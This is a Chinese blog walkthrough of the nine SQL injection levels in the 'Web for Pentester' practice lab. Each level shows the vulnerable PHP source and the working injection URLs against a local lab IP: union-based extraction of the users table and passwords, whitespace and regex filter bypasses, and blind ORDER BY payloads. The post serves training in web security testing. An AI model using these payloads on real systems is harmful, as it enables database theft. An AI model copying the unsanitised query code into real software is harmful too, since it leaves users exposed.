专栏首页HACKWAYPentester之SQL过关纪实

Pentester之SQL过关纪实

web for pentester

web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术,如:XSS跨站脚本攻击、SQL注入、目录遍历、命令注入、代码注入 、XML攻击、LDAP攻击、文件上传。靶场介绍可以查看官方网站[1]靶场环境搭建方法可以参考文章[2],先从SQL注入顺手练练

example1

http://192.168.132.131/sqli/example1.php?name=root //初看为字符串型

1.判断列数

http://192.168.132.131/sqli/example1.php?name=root' order by 5 --+ 成功 http://192.168.132.131/sqli/example1.php?name=root' order by 6 --+ 失败 列数为5

2.查询库名和版本号

http://192.168.132.131/sqli/example1.php?name=root%27%20union%20select%20database(),version(),user(),4,5 --+

得到库名为exercises ~~~~~~~ 数据库版本为5.1.66-0+squeeze1~~~~~~主机用户名:pentesterlab@localhost

3.查询库的表名

http://192.168.132.131/sqli/example1.php?name=root' union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database() --+

可以看到只有一张表为users

4.查询字段名(列名)

http://192.168.132.131/sqli/example1.php?name=root' union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_name=‘users’ --+

得到5个列名分别为id,name,age,groupid,passwd

图像 5.png

5.查询所有数据

http://192.168.132.131/sqli/example1.php?name=root' union select group_concat(id,' ',name,' ',age),group_concat(passwd),3,4,5 from users --+ 可以看到所有数据出来了

贴个源码

<?php

  require_once('../header.php');
  require_once('db.php');
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";  
    $result = mysql_query($sql);
    if ($result) {
        ?> 
        <table class='table table-striped'> 
      <tr> <th> id</th> <th> name</th> <th> age</th> </tr> 
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr> ";
                echo "<td> ".$row['id']."</td> ";
                echo "<td> ".$row['name']."</td> ";
                echo "<td> ".$row['age']."</td> ";
            echo "</tr> ";
        }   
        echo "</table> ";
    }
  require_once '../footer.php';
?>

发现没有任何过滤..........

example2

http://192.168.132.131/sqli/example2.php?name=root%27%20or%201=1%20# 显示ERROR NO SPACE 看来是过滤了啥,执行不了,懒得试了看看源码

<?php
  require_once('../header.php');
  require_once('db.php');

    if (preg_match('/ /', $_GET["name"])) {
        die("ERROR NO SPACE");  
    }
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";

    $result = mysql_query($sql);
    if ($result) {
        ?> 
        <table class='table table-striped'> 
      <tr> <th> id</th> <th> name</th> <th> age</th> </tr> 
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr> ";
                echo "<td> ".$row['id']."</td> ";
                echo "<td> ".$row['name']."</td> ";
                echo "<td> ".$row['age']."</td> ";
            echo "</tr> ";
        }   
        echo "</table> ";
    }
  require '../footer.php';
?>

有个preg_match函数过滤,preg_match — 执行一个正则表达式匹配

也就是过滤了空格,所以直接注释空格就好了

192.168.132.131/sqli/example2.php?name=root'/**/union/**/select/**/group_concat(id,name,age),2,3,4,5/**/from/**/users/**/%23

图像 8.png

example3

好生奇怪第三关直接可以用第二关的payload

192.168.132.131/sqli/example2.php?name=root'/**/union/**/select/**/group_concat(id,name,age),2,3,4,5/**/from/**/users/**/%23

直接爆出数据来 看看源码去

<?php
    require_once('../header.php');
  require_once('db.php');
    if (preg_match('/\s+/', $_GET["name"])) {
        die("ERROR NO SPACE");  
    }
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";

    $result = mysql_query($sql);
    if ($result) {
        ?> 
        <table class='table table-striped'> 
      <tr> <th> id</th> <th> name</th> <th> age</th> </tr> 
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr> ";
                echo "<td> ".$row['id']."</td> ";
                echo "<td> ".$row['name']."</td> ";
                echo "<td> ".$row['age']."</td> ";
            echo "</tr> ";
        }   
        echo "</table> ";
    }
    require '../footer.php';
?>

这个显得更加高级一点

example4

这关换成id了,http://192.168.132.131/sqli/example4.php?id=2%20order%20by%205# 一试发现是数字型注入,老办法来,直接给出payload

http://192.168.132.131/sqli/example4.php?id=2%20union%20select%20group_concat(id,name,age,passwd),2,3,4,5%20from%20users

看看源码

<?php
  require_once('../header.php');
  require_once('db.php');
  $sql="SELECT * FROM users where id=";
    $sql.=mysql_real_escape_string($_GET["id"])." ";
    $result = mysql_query($sql);
    

    if ($result) {
        ?> 
        <table class='table table-striped'> 
      <tr> <th> id</th> <th> name</th> <th> age</th> </tr>

        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr> ";
                echo "<td> ".$row['id']."</td> ";
                echo "<td> ".$row['name']."</td> ";
                echo "<td> ".$row['age']."</td> ";
            echo "</tr> ";
        }   
        echo "</table> ";
    }
    require '../footer.php';
?>

有个过滤函数,mysql_real_ecape_string()对特殊符号转义,但这数字型没有特殊符号,就绕过了

example5

额,上题payload同样可以适用

http://192.168.132.131/sqli/example5.php?id=2%20union%20select%20group_concat(id),2,3,4,5%20from%20users#

看看源码

<?php

  require_once('../header.php');
  require_once('db.php');
    if (!preg_match('/^[0-9]+/', $_GET["id"])) {
        die("ERROR INTEGER REQUIRED");  
    }
    $sql = "SELECT * FROM users where id=";
    $sql .= $_GET["id"] ;
    
    $result = mysql_query($sql);

    if ($result) {
        ?> 
        <table class='table table-striped'> 
      <tr> <th> id</th> <th> name</th> <th> age</th> </tr> 
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr> ";
                echo "<td> ".$row['id']."</td> ";
                echo "<td> ".$row['name']."</td> ";
                echo "<td> ".$row['age']."</td> ";
            echo "</tr> ";
        }   
        echo "</table> ";
    }
    require '../footer.php';
?>

正则表达,匹配非数字型的过滤,高级一点而已,同样绕过

example6

有点迷,不知道怎么过滤的,猜测是有 /[0-9]+/ 之类的过滤。根据上一题,猜测是只匹配了$,于是在#后面加上个数字吧,看下源码

<?php

   require_once('../header.php');
  require_once('db.php');
    if (!preg_match('/[0-9]+$/', $_GET["id"])) {
        die("ERROR INTEGER REQUIRED");  
    }
    $sql = "SELECT * FROM users where id=";
    $sql .= $_GET["id"] ;

    
    $result = mysql_query($sql);


if ($result) {
        ?> 
        <table class='table table-striped'> 
      <tr> <th> id</th> <th> name</th> <th> age</th> </tr> 
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr> ";
                echo "<td> ".$row['id']."</td> ";
                echo "<td> ".$row['name']."</td> ";
                echo "<td> ".$row['age']."</td> ";
            echo "</tr> ";
        }   
        echo "</table> ";
    }
    require '../footer.php';
?>

/[0-9]+$/匹配末尾为数字就可以了,直接给出payload

http://192.168.132.131/sqli/example6.php?id=2%20union%20all%20select%201,group_concat(id),3,4,5%20from%20users--+%201

example7

试了几个都没用,看看源码

<?php

  require_once('../header.php');
  require_once('db.php');
    if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
        die("ERROR INTEGER REQUIRED");  
    }
    $sql = "SELECT * FROM users where id=";
    $sql .= $_GET["id"];
    
    $result = mysql_query($sql);

    if ($result) {
        ?> 
        <table class='table table-striped'> 
      <tr> <th> id</th> <th> name</th> <th> age</th> </tr> 
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr> ";
                echo "<td> ".$row['id']."</td> ";
                echo "<td> ".$row['name']."</td> ";
                echo "<td> ".$row['age']."</td> ";
            echo "</tr> ";
        }   
        echo "</table> ";
    }
    require '../footer.php';
?>

发现/m可以匹配多行

查到%0A可以结尾每行,试试上payload

http://192.168.132.131/sqli/example7.php?id=2%0aunion%0aall%0aselect%0a1,group_concat(name),3,4,5%0afrom%0ausers# 直接爆出来

example8

<?php

  require_once('../header.php');
  require_once('db.php');
    $sql = "SELECT * FROM users ORDER BY `";
    $sql .= mysql_real_escape_string($_GET["order"])."`";
    $result = mysql_query($sql);
    
    if ($result) {
        ?> 
        <table  class='table table-striped'> 
        <tr> 
            <th> <a href="example8.php?order=id"> id</th> 
            <th> <a href="example8.php?order=name"> name</th> 
            <th> <a href="example8.php?order=age"> age</th> 
        </tr> 
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr> ";
                echo "<td> ".$row['id']."</td> ";
                echo "<td> ".$row['name']."</td> ";
                echo "<td> ".$row['age']."</td> ";
            echo "</tr> ";
        }   
        echo "</table> ";
    }
    require '../footer.php';
?>

看了源码直接丢sqlmap里跑吧!

http://192.168.132.131/sqli/example8.php?order=id`, (select case when (1=1) then 1 else 1*(select table_name from information_schema.tables)end)=1%23

example9

?php
  require_once('../header.php');
  require_once('db.php');
    $sql = "SELECT * FROM users ORDER BY ";
  $sql .= mysql_real_escape_string($_GET["order"]);
    $result = mysql_query($sql);
    if ($result) {
        ?> 
        <table class='table table-striped'> 
        <tr> 
            <th> <a href="example9.php?order=id"> id</th> 
            <th> <a href="example9.php?order=name"> name</th> 
            <th> <a href="example9.php?order=age"> age</th> 
        </tr> 
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr> ";
                echo "<td> ".$row['id']."</td> ";
                echo "<td> ".$row['name']."</td> ";
                echo "<td> ".$row['age']."</td> ";
            echo "</tr> ";
        }   
        echo "</table> ";
    }
  require '../footer.php';
?>

同理直接上payload

http://192.168.132.131//sqli/example9.php?order=(select CASE WHEN (SELECT ASCII(SUBSTRING(passwd, 1, 1)) FROM users where name = 0x726f6f74) = 98 THEN age ELSE id END)%23

参考资料

[1]

官方网站: "https://pentesterlab.com/"

[2]

搭建方法介绍: "https://blog.csdn.net/Jone_Dom/article/details/89502369"

为你铺好的HACKWAY

长按扫码上车

你点的每个在看,我都认真当成了喜欢

本文分享自微信公众号 - HACKWAY(gh_7a5a315cde00),作者:HACKWAY

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-08-18

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Upload-labs通关笔记(四)

    首先在burp中不断发送上传webshell的数据包,然后不断在浏览器中访问,发现通过竞争可以访问到。

    轩辕小子
  • Recon-ng被动信息收集框架入门

    在web渗透测试中,信息侦察与收集相当重要,每个经验丰富的黑客都有自己独特的信息收集妙招,信息搜集是渗透的第一步,也是至关重要的一步,信息的多少决定攻击的范围有...

    轩辕小子
  • Sqlilabs通关笔记(二)

    该注入原理可以查找资料,注入方式的有资料[1]可以点击查看,如下只列举常遇到的十种报错注入的方式

    轩辕小子
  • PHP中关于php.ini参数优化详解

    无论是apache还是nginx,php.ini都是适合的。而php-fpm.conf适合nginx+fcgi的配置

    砸漏
  • PHP实现定时任务的几种方式

    关于定时任务,之前以前认识了一种最常用的:crontab定时任务。通过linux的定时任务去实现。今天又认识了一下php实现定时方式的其它方式,总结一下。 ? ...

    企鹅号小编
  • 记一次由百度云会员引起的审计及渗透

    前天找了点域渗透的环境和资料,都是百度云盘存储的,一个镜像十几个g,下不下来,发现网上有卖百度云VIP账号的,都是一些发卡网,刚好自己最近在学代码审计,就想着下...

    C4rpeDime
  • PHP session反序列化漏洞总结

    每个session标签对应着一个$_SESSION键-值类型数组,数组中的东西需要存储下来,首先需要序列化。 在php中session有三种序列化的方式,分别是...

    猿哥
  • 通达OA getshell | Nmap 脚本

    http://www.tongda2000.com/download/2019.php?F=baidu_natural&K=

    意大利的猫
  • 原 各种linux系统下php扩展编译安装

    NateHuang
  • crontab执行不了php的解决方法 转

    1,在php程序里面写log(例如:error_log()这个函数),这也是必须的,因为crontab定时执行,要是没有log,你怎么知道程序执行的结果怎么样。...

    双面人

扫码关注云+社区

领取腾讯云代金券